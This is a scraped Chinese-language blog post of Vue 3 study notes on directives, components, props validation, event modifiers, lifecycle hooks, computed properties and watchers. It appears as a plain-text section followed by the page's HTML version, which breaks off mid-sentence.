:Test_date\rTest_datea\r}\r}).mount('#app')\r其中test为组件名，指向了Test_date局部组件，\n父子组件之间传递数据\n静态传值只能传字符串类型，如果要传其他数据类型或者想动态传递数据，可以使用v-bind\n通过循环来输出一组数据\n传值校验\nprops中的值进行验证，例如：\nvuejs事件修饰符\n.stop：阻止冒泡事件的发生，只触发自身的事件，一个子元素定义了事件，但是它的父元素也定义了一个事件，而且这两个事件的触发机制还是一样的，那么就会导致这两个事件都触发，而想避免发生就需要在目标元素上的事件加上.stop，例如：\n.prevent：拦截默认事件的发生，有一些标记拥有自身的默认事件，例如a标记，例如：\n{{data}}\r这里阻止了a标记的默认事件\n.capture：捕获事件，当发生冒泡事件时，先触发带有该修饰符的，如果有多个，则从父元素到子元素触发\n触发机制：优先触发带有.capture的，然后再按照从内往外的冒泡\n.self：只有当事件在该元素上时才触发，冒泡和捕获都无法让其触发事件，只要当事件发生在该元素本身才会触发\n.once：指定该绑定的事件只会触发一次\n.stop和.self的区别：.stop会阻止全部冒泡事件，而.self只阻止自身的冒泡\n.passive：每一次发生事件，浏览器都去查询有没有preventDefault来阻止该事件的默认行为，.passive就是来声明，没有使用preventDefault来阻止该事件的默认行为，因为其是告诉没有使用阻止事件的默认行为，所有passive是和prevent冲突，不能一起使用，否则.prevent会被忽略\n因为在移动端，一般都是监听滚动事件比较多，而每移动一次都会触发一次事件，会进行查询有没有使用prevent，可能会导致滑动卡顿，使用passive能有效提升移动端的性能和流畅度\n生命周期钩子函数会在某一些特定的时刻自动触发，方便在该时刻完成一些工作\nvue实例生命周期\nvue实例的创建，运行，到销毁期间，会触发一些叫生命周期钩子的函数，可以通过该来监听数据变化\n按照生命周期排序：\nbeforeCreate：实例刚刚初始化之后，数据观察和事件机制（data 和 methods）都还未初始化，不能获取dom节点\ncreated：数据观察和事件机制（data 和 methods）都已经初始化，dom节点处理完成，组件未加载\nbeforeMount：实例已经加载完毕，但是还没有执行挂载操作，得不到具体的DOM元素\nmounted：实例已经加载完毕，也执行了挂载操作，DOM已被渲染出来\nbeforeUpdate：处于数据更新之前，data中的值是最新的，但是页面上还是旧的数据，还没有重新处理dom节点\nupdated：处于数据更新之后，data中的值和页面上的数据都已经更新，dom节点也被重新处理\nbeforeUnmount：实例销毁之前，实例还是在可用状态，可使用this获取实例\nunmounted：实例销毁后，数据绑定和事件监听器全部清除，子实例销毁\n例如：\nconst app = Vue.createApp({\rdata(){\rreturn{\rmessage: 'hallo word'\r}\r},\rbeforeCreate() {\rconsole.log(\"beforeCreate\")\r},\rcreated() {\rconsole.log(\"created\")\r},\rbeforeMount(){\rconsole.log(\"beforeMount\")\r},\rmounted() {\rconsole.log(\"mounted\")\r},\rbeforeUpdate() {\rconsole.log(\"beforeUpdate\")\r},\rupdated() {\rconsole.log(\"updated\")\r},\rbeforeUnmount() {\rconsole.log(\"beforeUnmount\")\r},\runmounted() {\rconsole.log(\"unmounted\")\r},\rtemplate: \"{{message}}\"\r})\rlet main = app.mount(\"#app\")\rsetTimeout(()=\u003e{\rmain.$data.message = 'abc' // 挂载3秒后触发更新事件\r},3000)\rsetTimeout(() =\u003e {\rapp.unmount() // 6秒后触发销毁事件\r}, 6000)\r访问组件的生命周期\nvue组件周期\n实例生命周期加on就是组件周期\nbeforeCreate和created统一为setup()\nbeforeMount为onBeforeMout，mounted为onMounted，beforeUpdate为onBeforeUpdate，updated为onUpdated，beforeUnmount为onBeforeUnmount，unmounted为onUnmounted\nsetup：data 和 method 都已经初始化\nonBeforeMount：组件被挂载到dom节点之前\nonMounted：组件被挂载到dom节点完毕\nonBeforeUpdate：组件更新之前\nonUpdated：组件更新之后\nonBeforeUnmount：组件销毁之前\nonUnmounted：组件销毁完毕之后\nonErrorCaptured：当捕获到来自子孙组件的异常时\nonRenderTracked：当虚拟DOM重新渲染时调用\nonRenderTriggered：当虚拟DOM重新渲染被触发时调用\nonActivated：当被包含在中的组件时\nonDeactivated: 当被包含在中的组件发生改变时（例如切换组件，原来的组件销毁时）\n注意：使用的组件会把数据保留在内存中，避免需要重新加载多次数据\n实例的data()是一个函数，并非方法，vue在创建vue的组件实例过程中会调用该函数，以$data的形式进行存储在vue实例中，data中的所有值都可以通过实例来暴露（访问或者修改），例如：\nconst hallo = Vue.createApp({\rdata() {\rreturn {\rhallovuejs: \"hallo vuejs!\"\r}\r}\r}).mount(\"#app\")\rconsole.log(hallo.$data.hallovuejs)\rconsole.log(hallo.hallovuejs)\r方法\nvue允许使用methods向组件实例添加方法\nvue会自动为methods绑定this，使其始终指向组件实例\nmethods一样可以在组件模板中暴露，也可以在模板中用做事件监听\n计算属性\n计算属性和方法的区别就是：计算属性只在其依赖发生变化才重新计算，只要依赖未发生改变，那么就会直接从缓存中获取，不会再执行其函数\n如果使用一个方法来计算时，那么data()返回的值，发生一次改变，事件方法就会重新计算一次，因此涉及计算类的使用计算属性，而不是方法\n例如：\nconst app = Vue.createApp({\rdata() {\rreturn {\rhallovuejs: \"hallo vuejs!\"\r}\r},\rcomputed: {\rhallo(){\rreturn this.hallovuejs == \"hallo vuejs!\" ? \"Yes\" : \"No\"\r}\r}\r}).mount(\"#app\")\rwatch监听器\nwatch接收2个参数，被监听的data()属性值，回调函数，当监听的变量发生改变时，自动执行回调函数，例如\nconst app = Vue.createApp({\rdata() {\rreturn {\rnum: 100\r}\r},\rwatch: {\rnum(current, prev) {\rconsole.log('num发生改变')\rconsole.log(\"改变之后的值:\", current)\rconsole.log(\"改变之前的值:\", prev)\r}\r}\r})\rlet vm = app.mount(\"#app\")\rvm.num = 300\rvm.$data.num = 600\r另外一种使用方法\nconst count = ref(100) watch(count,(current, prev) =\u003e {\rconsole.log('num发生改变')\rconsole.log(\"改变之后的值:\",current)\rconsole.log(\"改变之前的值:\",prev)\r})\rwatch和计算属性的区别：虽然都可以监听data()属性值的改变，但是计算属性会在页面渲染时触发一次，而watch只在被监听的发生改变时触发，而且watch可以得到改变之后的值和改变之前的值\nwatch可以监听多个值\nclass绑定\nvue允许使用:class对象来动态切换class，例如：\n而class的存在取决于键值对的值，允许传入多个值，也可以直接调用对象，例如：\nvue也允许通过数组来传入class，例如：\n同样也允许使用三元表达式，例如：\n始终添加classa，classnav取决已经no的值\nvue也是允许在数组中使用对象来处理\n如果在组件中已经绑定了class，而在调用其又加上其他class，那么就会合并，vue允许在组件中进行:class，如果有多个元素，在调用时绑定class，但是又想指定其class给予某个，可以使用$attrs组件属性，例如：\n上面只有vuejs接收到class\n内联样式绑定（:style）\n例子：\n多重值\n一般来说只会选择最后一个（前提是浏览器支持）\n列表渲染\nv-for可以将一个数组迭代成一组元素\n使用的形式是 item in items，items为数组，item为迭代的元素，例如：\n{{ item.message }}\rin可以用of替代\nv-for也可以使用对象(从某个角度来看，数组也是对象的一种)，例如：\n{{ key }}:{{ item }}\r自定义指令（directive）\nvue允许指定义指令，例如：\n这里的abc指定的是当前元素\n局部指令：组件中接受directives选项\n指令的钩子函数\ncreated：当绑定元素的属性和事件监听器被应用之前调用\nbeforeMount：当指令第一次绑定到元素并且在挂载父组件之前调用\nmounted：绑定元素的父组件被挂载后调用\nbeforeUpdate：更新包含组件的VNode之前调用\nupdated：包含组件的VNode及其子组件的VNode更新后调用\nbeforeUnmount：在卸载绑定元素的父组件之前调用\nunmounted：当指令与元素解除绑定，并且父组件也被卸载时调用一次\n表单输入绑定\nv-model可以用于数据的双向绑定，但是v-model会忽略表单元素的初始值，而使用实例中的数据作为数据源（需要在data中声明初始值）\n复选框的数据绑定返回的是布尔值，也是可以将数据绑定到一个数组中，例如：\nhallo\rabc\rxyz\rdata: {{datas}}\r单选框（radio），数据存放在字符串中，输出的也是字符串（选择框和输入框也是字符串）\n如果想输入或者选择返回的不是字符串，而是其他类型，可以使用v-model.number，当然也是可以进行手动转类型，但是v-model.number可以自动判断输入是否是数字还是字符串\ntrue-value和false-value可以在被选中或者取消选中时触发，例如：\ndata: {{datas}}\rv-model.lazy是v-model数据双向绑定的懒加载，在每次input事件（失去焦点）触发后将输入框的值与数据进行同步\nv-model.trim可以自动过滤掉输入数据的首尾空格\n组件\n全局注册\napp.component\n局部注册\nconst componentA = {}\rcomponents: {\r'component-a': componentA,\r}\r局部注册的组件，在其子组件是不可用的\n通过Props传递数据给子组件\n通过Props共享一些数据，例如：\napp.component('titles', {\rprops: ['title'],\rtemplate: `{{ title }}`\r})\r在上面的例子里，title=“hallo\"被传递数据给模板，任何值的可以传递给props，如果一个值被传递给props属性，那么这个值就成了这个组件实例的共享数据，这个值可以在模板中访问\n监听子组件事件\n使用自定义事件监听子组件，通过子组件事件来告诉父组件应该做什么，例如：\ntemplate: `\rapp\r`\r也可以在组件的emits中列出事件\napp.component({\remits: [\"hallomain\"]\r})\r事件也可以用来返回一个值 app 这个值可以使用$event访问到，事件也可以是指向方法的，用事件来触发方法的使用，例如：@hallomain= “hallo”\n给这个方法定义一下，在methods选项\n组件也可以使用v-model（model-value）\n如果是表单元素，例如input也想用自定义事件，需要将value绑定到props上，当input事件被触发时，就会将value通过自定义事件抛出，例如：\napp.component({\rprops: [\"valueData\"],\remits: [\"hallomain\"],\rtemplate: `\r","wordCount":"1628","inLanguage":"en","datePublished":"2021-06-16T10:13:00Z","dateModified":"2021-06-16T10:13:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/23/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>vuejs基础学习笔记</h1><div class=post-meta><span title='2021-06-16 10:13:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;8 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/vuejs%e5%9f%ba%e7%a1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3</p><p>vue全家桶：Vue+VueRouter+Vuex</p><p>vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视</p><p>导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用</p><p><a href=https://unpkg.com/vue@next>https://unpkg.com/vue@next</a></p><p>cjs版本：完整版，包含编译器</p><p>prod.js都是开发版，代码进行了压缩</p><p>global版本：可以直接通过scripts标签导入，会建立一个全局Vue对象</p><p>browser版本：包含esm,浏览器模块</p><p>bundler版本：该版本不是完整版，min</p><p>vuejs模板支持所有JavaScript表达式</p><p>vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{&mldr;}}，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;p&gt;{{ hallovuejs }}&lt;/p&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const hallo ={
-        data() {
-            return {
-                hallovuejs: &quot;hallo vuejs!&quot;
-            }
-        }
-    }
-    Vue.createApp(hallo).mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;a v-bind:href=&quot;url&quot;&gt;{{ main }}&lt;/a&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const hallo ={
-        data() {
-            return {
-                url:&quot;https://xiaochenabc123.test.com&quot;,
-                main: &quot;小陈的辣鸡屋&quot;
-            }
-        }
-    }
-    Vue.createApp(hallo).mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图</p><p>而vue还提供了可以绑定事件的v-on属性，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;button v-on:click=&quot;go&quot;&gt;{{ main }}&lt;/button&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const hallo ={
-        data() {
-            return {
-                main: &quot;hallo&quot;
-            }
-        },
-        methods: {
-            go: function(){
-                console.log(&quot;hallo vuejs&quot;);
-            }
-        },
-    }
-    Vue.createApp(hallo).mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>v-on可以绑定多个事件，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;button @click=&quot;goclick&quot;@dblclick=&quot;yesclick&quot;&gt;{{ main }}&lt;/button&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const hallo ={
-        data() {
-            return {
-                main: &quot;hallo&quot;
-            }
-        },
-        methods: {
-            goclick:function(event){
-                console.log(&quot;hallo vuejs&quot;)
-                console.log(event.target) // event.target可以获取到触发该事件的dom元素
-            },
-            yesclick:function(){
-                console.log(&quot;hallo word&quot;)
-            }
-        },
-    }
-    Vue.createApp(hallo).mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>v-model可以进行数据的双向绑定，不但可以赋予元素中的数据，也可以获取元素中的数据，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;input v-model=&quot;main&quot;&gt;{{ main }}&lt;/input&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const hallo ={
-        data() {
-            return {
-                main: &quot;hallo&quot;
-            }
-        },
-    }
-    Vue.createApp(hallo).mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>v-show可以根据表达式的值来判断是否显示，方法和v-if一样，但是隐藏的方法是加上了display: none;，v-show不支持template和v-else，如果没有频繁切换的需求可选择v-if，频繁切换会重新渲染情况严重，而且v-show只是修改css属性而已</p><p>v-if可以进行条件判断，会根据表达式的值来判断，例如</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;span v-if=&quot;yes_no&quot;&gt;{{ main }}&lt;/span&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const hallo ={
-        data() {
-            return {
-                yes_no: true,
-                main: &quot;hallo&quot;
-            }
-        },
-    }
-    Vue.createApp(hallo).mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>当值为false时，该元素就会被隐藏</p><p>v-else 该指令必须跟着v-if或者v-else-if指令的元素的后面，否则不会被识别，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;span v-if=&quot;yes_no&quot;&gt;{{ main }}&lt;/span&gt;
-    &lt;span v-else&gt;这是v-if判断为假时渲染，v-if判断为真时不渲染&lt;/span&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const hallo ={
-        data() {
-            return {
-                yes_no: false,
-                main: &quot;hallo&quot;
-            }
-        },
-    }
-    Vue.createApp(hallo).mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>v-else-if，必须前面的元素中有v-if或者v-else-if指令，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;span v-if=&quot;yes_no == 'yes'&quot;&gt;yes_no == yes&lt;/span&gt;
-    &lt;span v-else-if=&quot;yes_no == 'no'&quot;&gt;yes_no == no&lt;/span&gt;
-    &lt;span v-else&gt;yes_no != no||yes&lt;/span&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const hallo ={
-        data() {
-            return {
-                yes_no: &quot;yes&quot;,
-                yes: &quot;yes&quot;,
-                no: &quot;no&quot;,
-                main: &quot;hallo&quot;
-            }
-        },
-    }
-    Vue.createApp(hallo).mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>v-for可以多次渲染元素，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;ul&gt;
-        &lt;li v-for=&quot;a in arr&quot;&gt;
-            {{a}}
-        &lt;/li&gt;
-    &lt;/ul&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const hallo ={
-        data() {
-            return {
-                arr:[
-                    &quot;hallo&quot;,
-                    &quot;abc&quot;,
-                    &quot;xyz&quot;,
-                    &quot;yes&quot;,
-                    &quot;no&quot;
-                ]
-            }
-        }
-    }
-    Vue.createApp(hallo).mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>注意：当v-for和v-if出现在同级时，v-for优先级比v-if高，因此不要在v-for下，使用v-if过滤，应该在v-if下使用v-for，v-if应该使用&lt;template>（&lt;template>不会创建dom元素）</p><p>v-html可以插入html</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;span v-html=&quot;main&quot;&gt;&lt;/span&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const hallo ={
-        data() {
-            return {
-                main: &quot;&lt;p&gt;hallo word&lt;/p&gt;&quot;
-            }
-        },
-    }
-    Vue.createApp(hallo).mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>v-once表示该元素或者组件只渲染一次，后面不会因为数据的改变而重新渲染</p><p>动态参数的实现</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-&lt;/div&gt;
-
-const hallo = {
-    data() {
-        return {
-            main: &quot;hallo&quot;,
-            abc: &quot;classa&quot;
-        }
-    },
-    template: `&lt;h1 :[abc] = &quot;main&quot;&gt;hallo word&lt;/h1&gt;`
-}
-Vue.createApp(hallo).mount(&quot;#app&quot;)
-</code></pre><p>vuejs提供了一个叫组件的概念，将重复的程序进行封装，用这些被封装的组件来构建大型应用，可以理解为积木</p><p>根组件：挂载应用时，该组件被认为是渲染的起点</p><p>如果想挂载一个应用到id为app的dom元素中，那么就需要挂载#app，通过一个vue实例，调用其component()方法，创建一个组件</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;hallo v-for=&quot;item in groceryList&quot; v-bind:todo=&quot;item&quot; v-bind:key=&quot;item.id&quot;&gt;&lt;/hallo&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const main ={
-        data(){
-            return{
-                groceryList: [
-                    {id:0,text:&quot;abc&quot;},
-                    {id:1,text:&quot;xyz&quot;},
-                    {id:2,text:&quot;hallo&quot;}
-                ]
-            }
-        }
-    } 
-    const app = Vue.createApp(main)
-    app.component(&quot;hallo&quot;,{
-        props: [&quot;todo&quot;],
-        template: `&lt;h1&gt;{{todo.text}}&lt;h1&gt;`
-    })
-    app.mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>上面简单说明了一下组件的概念,下面详细说明一下组件和组件实例</p><p>页面是这些组件的容器，因此，组件在页面中表达出来的是原生html</p><p>模板（template）：模板定义了数据和html dom的绑定关系</p><p>初始数据（data）：组件的初始数据，组件具有作用域，因此是处于封装私有状态的</p><p>接收的外部参数（props）：组件之间通过该参数进行数据的传递和分享(单向，只能从父组件中获取，不能进行修改,父传子)</p><p>方法（methods）：对数据的改动一般都在组件的方法内进行操作，通过v-on指令把输入事件和组件方法进行绑定</p><p>生命周期钩子（lifecycle hooks）：每个实例都会触发多个生命周期钩子，从创建到废弃的过程就是生命周期，可以在不同时候进行逻辑处理，另外还有组件生命周期</p><p>组件：一种对数据和方法的封装</p><p>mount()返回的是组件实例</p><p>组件实例：组件继承于组件，通过createApp()建立组件实例</p><p>当需要进行数据计算处理时，例如将两个数据合并，如果通过正常的表达式来表示，那么一旦数据处理复杂了，程序会显得很繁杂，vuejs中提供了一个叫计算属性的东西，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    {{hallo}}
-&lt;/div&gt;
-&lt;script&gt;
-    Vue.createApp({
-        data() {
-            return {
-               yes:{
-                    main: &quot;abc&quot;
-               }
-            }
-        },
-        computed: {
-            hallo() {
-                return &quot;hallo&quot;+&quot; &quot;+this.yes.main
-            }
-        }
-    }).mount('#app')
-&lt;/script&gt;
-</code></pre><p>样式绑定</p><pre><code>&lt;style&gt;
-    .abc{
-        width: 100px;
-        height: 100px;
-        background-color: #ccc;
-    }
-&lt;/style&gt;
-
-&lt;div id=&quot;app&quot;&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const app = Vue.createApp({
-    data() {
-        return {
-            classdata: &quot;abc&quot;
-        }
-    },
-    template: `
-        &lt;div :class = &quot;classdata&quot;&gt;hallo word&lt;/div&gt;
-    `
-})
-app.mount('#app')
-&lt;/script&gt;
-</code></pre><p>组件是可重复使用的实例，例如：</p><pre><code>&lt;div class=&quot;app&quot;&gt;
-    &lt;test&gt;&lt;/test&gt;
-    &lt;test&gt;&lt;/test&gt;
-&lt;/div&gt;
-
-const app = Vue.createApp({})
-app.component(&quot;test&quot;,{
-    data() {
-        return {
-            abc: &quot;hallo&quot;
-        }
-    },
-    template: `
-        &lt;div&gt;
-            {{abc}} word
-        &lt;/div&gt;`
-})
-app.mount(&quot;#app&quot;)
-</code></pre><p>全局组件</p><p>一般来说组件的数据是独享的，只有全局组件才能进行数据访问，例如：</p><pre><code>const app = Vue.createApp({
-    template: `
-        &lt;div&gt;
-            &lt;test&gt;&lt;/test&gt;
-            &lt;abc&gt;&lt;abc&gt;
-        &lt;/div&gt;
-    `
-        // 父组件
-})
-
-app.component(&quot;test&quot;,{
-    template: `&lt;abc&gt;&lt;abc&gt;`
-        // 全局组件
-})
-
-app.component(&quot;abc&quot;,{
-    data() {
-        return {
-            text: &quot;hallo word&quot;
-        }
-    },
-    template: ` &lt;div&gt;{{text}}&lt;/div&gt; ` 
-        // 全局组件
-})
-
-app.mount('#app')
-</code></pre><p>abc组件分享了数据给test组件</p><p>局部组件</p><pre><code>&lt;test&gt;&lt;/test&gt;
-&lt;Test_datea&gt;&lt;/Test_datea&gt;
-
-
-const Test_date ={
-    template: &quot;&lt;p&gt;hallo word&lt;/p&gt;&quot;
-    // 局部组件
-}
-const Test_datea ={
-    template: &quot;&lt;p&gt;hallo hhh&lt;/p&gt;&quot;
-    // 局部组件
-}
-const app = Vue.createApp({
-    components: {
-        &quot;test&quot; :Test_date
-        Test_datea
-    }
-}).mount('#app')
-</code></pre><p>其中test为组件名，指向了Test_date局部组件，</p><p>父子组件之间传递数据</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;test :name=&quot;text&quot;&gt;&lt;/test&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const app = Vue.createApp({
-    data() {
-        return {
-             text: &quot;hallo&quot;,
-        }
-    }
-})
-app.component(&quot;test&quot;,{
-    props: [&quot;name&quot;],
-    template: `&lt;p&gt;{{name}}&lt;/p&gt;`
-})
-app.mount('#app')
-&lt;/script&gt;
-</code></pre><p>静态传值只能传字符串类型，如果要传其他数据类型或者想动态传递数据，可以使用v-bind</p><p>通过循环来输出一组数据</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;test v-for=&quot;data in datas&quot; :key=&quot;data.id&quot; :href=&quot;data.url&quot; :text=&quot;data.text&quot;&gt;&lt;/test&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const app = Vue.createApp({
-    data() {
-        return {
-            datas: [
-                {id: 1, url: &quot;https://xiaochenabc123.test.com&quot;, text: &quot;hallo&quot;},
-                {id: 2, url: &quot;https://test.xiaochenabc123.test.com&quot;, text: &quot;abcxyz&quot;}
-            ]
-        }
-    }
-})
-app.component(&quot;test&quot;,{
-    props: [&quot;text&quot;],
-    template: `&lt;a&gt;&lt;p&gt;{{text}}&lt;/p&gt;&lt;/a&gt;`
-})
-app.mount('#app')
-&lt;/script&gt;
-</code></pre><p>传值校验</p><p>props中的值进行验证，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;test text=&quot;123&quot; url=&quot;https://xiaochenabc123.test.com&quot; main=&quot;yes&quot; ifmain=11&gt;&lt;/test&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const app = Vue.createApp({})
-app.component(&quot;test&quot;,{
-    props: {
-        text: String, // 基本类型验证 null和undefined会通过任何类型验证，如果不是这个类型，将返回警告
-        url: [Number,String], // 多个类型验证，当数据不是这的类型
-        main: {
-            type: String, // 类型String，必填，如果设置没有该值
-            required: true
-        },
-        hallo: {
-            type: String, //  类型String，带默认值default
-            default: &quot;hallo vuejs&quot;
-        },
-        obj: {
-            type: Object, // 类型Object，带默认值函数
-            default: function(){
-                return{
-                    text: &quot;abc&quot;
-                }
-            }
-        },
-        ifmain: { 
-            validator: function(value){
-                return(value&gt;10)  // 验证函数
-            }
-        }
-    },
-    template: `
-        &lt;p&gt;{{text}}&lt;/p&gt;
-        &lt;p&gt;{{url}}&lt;/p&gt;
-        &lt;p&gt;{{main}}&lt;/p&gt;
-        &lt;p&gt;{{hallo}}&lt;/p&gt;
-        &lt;p&gt;{{obj}}&lt;/p&gt;
-        &lt;p&gt;{{ifmain}}&lt;/p&gt;
-    `
-})
-app.mount('#app')
-&lt;/script&gt;
-</code></pre><hr><p>vuejs事件修饰符</p><p>.stop：阻止冒泡事件的发生，只触发自身的事件，一个子元素定义了事件，但是它的父元素也定义了一个事件，而且这两个事件的触发机制还是一样的，那么就会导致这两个事件都触发，而想避免发生就需要在目标元素上的事件加上.stop，例如：</p><pre><code>&lt;div id=&quot;app&quot; @click = &quot;divclick&quot;&gt;
-    &lt;input type=&quot;button&quot; value=&quot;GO&quot; @click.stop = &quot;inputclick&quot;&gt;
-&lt;/div&gt;
-</code></pre><p>.prevent：拦截默认事件的发生，有一些标记拥有自身的默认事件，例如a标记，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;a href=&quot;https://xiaochenabc123.test.com&quot; @click.prevent = &quot;alinkclick&quot;&gt;{{data}}&lt;/a&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const hallo ={
-        data(){
-            return{
-                data: &quot;GO&quot;
-            }
-        },
-        methods: {
-            alinkclick: function(){
-                console.log(&quot;hallo&quot;)
-            },
-        },
-    }
-    Vue.createApp(hallo).mount(&quot;#app&quot;)
-&lt;/script&gt;
-</code></pre><p>这里阻止了a标记的默认事件</p><p>.capture：捕获事件，当发生冒泡事件时，先触发带有该修饰符的，如果有多个，则从父元素到子元素触发</p><p>触发机制：优先触发带有.capture的，然后再按照从内往外的冒泡</p><p>.self：只有当事件在该元素上时才触发，冒泡和捕获都无法让其触发事件，只要当事件发生在该元素本身才会触发</p><p>.once：指定该绑定的事件只会触发一次</p><p>.stop和.self的区别：.stop会阻止全部冒泡事件，而.self只阻止自身的冒泡</p><p>.passive：每一次发生事件，浏览器都去查询有没有preventDefault来阻止该事件的默认行为，.passive就是来声明，没有使用preventDefault来阻止该事件的默认行为，因为其是告诉没有使用阻止事件的默认行为，所有passive是和prevent冲突，不能一起使用，否则.prevent会被忽略</p><p>因为在移动端，一般都是监听滚动事件比较多，而每移动一次都会触发一次事件，会进行查询有没有使用prevent，可能会导致滑动卡顿，使用passive能有效提升移动端的性能和流畅度</p><hr><p>生命周期钩子函数会在某一些特定的时刻自动触发，方便在该时刻完成一些工作</p><p>vue实例生命周期</p><p>vue实例的创建，运行，到销毁期间，会触发一些叫生命周期钩子的函数，可以通过该来监听数据变化</p><p>按照生命周期排序：</p><p>beforeCreate：实例刚刚初始化之后，数据观察和事件机制（data 和 methods）都还未初始化，不能获取dom节点</p><p>created：数据观察和事件机制（data 和 